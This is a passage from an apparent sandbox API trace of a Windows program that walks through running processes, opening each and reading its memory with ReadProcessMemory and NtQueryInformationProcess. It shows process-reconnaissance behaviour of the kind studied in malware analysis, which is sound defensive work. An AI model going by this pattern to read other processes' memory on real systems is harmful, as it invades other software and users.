_Buffer="10.0.10586") returned 10 [0247.562] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1050) returned 0x300 [0247.562] GetLastError () returned 0x0 [0247.563] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0247.563] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x232018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0247.563] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0247.563] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5e1cc0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0247.563] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5e18f8, lpBuffer=0x67117c450, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0247.564] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0247.566] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0247.566] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x232020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0247.566] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5e12e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0247.566] malloc (_Size=0x64) returned 0x196ef0d0680 [0247.566] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5e1954, lpBuffer=0x196ef0d0680, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0680*, lpNumberOfBytesRead=0x0) returned 1 [0247.567] free (_Block=0x196ef0d0680) [0247.568] CloseHandle (hObject=0x300) returned 1 [0247.569] _ui64tow_s (in: _Value=0x1058, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="4184") returned 0x0 [0247.573] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="4184") returned 4 [0247.574] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0247.574] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0247.602] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1058) returned 0x300 [0247.603] GetLastError () returned 0x0 [0247.603] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0247.603] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5ef018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0247.603] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0247.603] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7a1cf0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0247.604] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7a18f8, lpBuffer=0x67117c450, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0247.605] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0247.606] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0247.606] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5ef020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0247.606] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7a12e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0247.606] malloc (_Size=0x72) returned 0x196ef0d31b0 [0247.606] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7a1962, lpBuffer=0x196ef0d31b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0247.607] free (_Block=0x196ef0d31b0) [0247.608] CloseHandle (hObject=0x300) returned 1 [0247.609] _ui64tow_s (in: _Value=0x1064, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="4196") returned 0x0 [0247.613] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="4196") returned 4 [0247.614] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0247.614] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0247.696] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1064) returned 0x300 [0247.696] GetLastError () returned 0x0 [0247.696] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0247.696] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x598018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0247.696] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0247.696] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x791cb0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0247.697] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7918f8, lpBuffer=0x67117c450, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0247.698] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0247.699] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0247.699] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x598020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0247.699] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7912e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0247.700] malloc (_Size=0x5e) returned 0x196ef0d0680 [0247.700] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x79194e, lpBuffer=0x196ef0d0680, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0680*, lpNumberOfBytesRead=0x0) returned 1 [0247.701] free (_Block=0x196ef0d0680) [0247.703] CloseHandle (hObject=0x300) returned 1 [0247.704] _ui64tow_s (in: _Value=0x1074, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="4212") returned 0x0 [0247.716] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="4212") returned 4 [0247.719] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0247.719] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0247.755] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1074) returned 0x300 [0247.755] GetLastError () returned 0x0 [0247.755] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0247.755] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x334018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0247.755] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0247.755] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x461d70, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0247.756] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4618f8, lpBuffer=0x67117c450, nSize=0x94, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0247.757] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0247.758] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0247.758] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x334020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0247.758] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4612e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0247.759] malloc (_Size=0x9c) returned 0x196ef0fac60 [0247.759] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x46198c, lpBuffer=0x196ef0fac60, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fac60*, lpNumberOfBytesRead=0x0) returned 1 [0247.760] free (_Block=0x196ef0fac60) [0247.761] CloseHandle (hObject=0x300) returned 1 [0247.761] _ui64tow_s (in: _Value=0x10b0, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="4272") returned 0x0 [0247.765] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="4272") returned 4 [0247.767] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0247.767] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0247.783] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10b0) returned 0x300 [0247.783] GetLastError () returned 0x0 [0247.784] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0247.784] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x256018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0247.784] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0247.784] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x491e40, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0247.785] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4919f8, lpBuffer=0x67117c450, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0247.786] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0247.787] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0247.787] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x256020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0247.788] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4913e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0247.789] malloc (_Size=0xbc) returned 0x196ef0d4e70 [0247.789] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x491a64, lpBuffer=0x196ef0d4e70, nSize=0xba, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0247.789] free (_Block=0x196ef0d4e70) [0247.790] CloseHandle (hObject=0x300) returned 1 [0247.791] _ui64tow_s (in: _Value=0x1120, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="4384") returned 0x0 [0247.796] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="4384") returned 4 [0247.797] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0247.797] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0247.813] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1120) returned 0x300 [0247.813] GetLastError () returned 0x0 [0247.814] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0247.814] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x670db0018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0247.814] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0247.814] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x196ee761bd0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0247.814] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x196ee761818, lpBuffer=0x67117c450, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0247.815] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0247.817] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0247.817] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x670db0020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0247.817] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x196ee761200, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0247.817] malloc (_Size=0x76) returned 0x196ef0d2120 [0247.817] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x196ee761864, lpBuffer=0x196ef0d2120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0247.818] free (_Block=0x196ef0d2120) [0247.819] CloseHandle (hObject=0x300) returned 1 [0247.819] _ui64tow_s (in: _Value=0x13dc, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="5084") returned 0x0 [0247.825] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="5084") returned 4 [0247.827] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0247.827] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0247.857] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x13dc) returned 0x0 [0247.857] CloseHandle (hObject=0x0) returned 0 [0247.858] _ui64tow_s (in: _Value=0x1334, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="4916") returned 0x0 [0247.863] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="4916") returned 4 [0247.864] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0247.864] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0247.895] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1334) returned 0x300 [0247.895] GetLastError () returned 0x0 [0247.895] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0247.896] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x239018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0247.896] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0247.896] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x561cd0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0247.896] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5618c8, lpBuffer=0x67117c450, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0247.897] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0247.899] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0247.899] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x239020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0247.899] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5612b0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0247.899] malloc (_Size=0x78) returned 0x196ef0d2120 [0247.899] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x56193a, lpBuffer=0x196ef0d2120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0247.900] free (_Block=0x196ef0d2120) [0247.901] CloseHandle (hObject=0x300) returned 1 [0247.901] _ui64tow_s (in: _Value=0xac8, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="2760") returned 0x0 [0247.906] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="2760") returned 4 [0247.908] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0247.908] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0247.942] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xac8) returned 0x300 [0247.942] GetLastError () returned 0x0 [0247.942] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0247.942] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x34e018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0247.942] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0247.942] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x461c50, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0247.943] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4618c8, lpBuffer=0x67117c450, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0247.944] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0247.945] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0247.945] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x34e020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0247.946] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4612b0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0247.946] malloc (_Size=0x48) returned 0x196ef0fb2c0 [0247.946] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x46190e, lpBuffer=0x196ef0fb2c0, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fb2c0*, lpNumberOfBytesRead=0x0) returned 1 [0247.947] free (_Block=0x196ef0fb2c0) [0247.947] CloseHandle (hObject=0x300) returned 1 [0247.948] _ui64tow_s 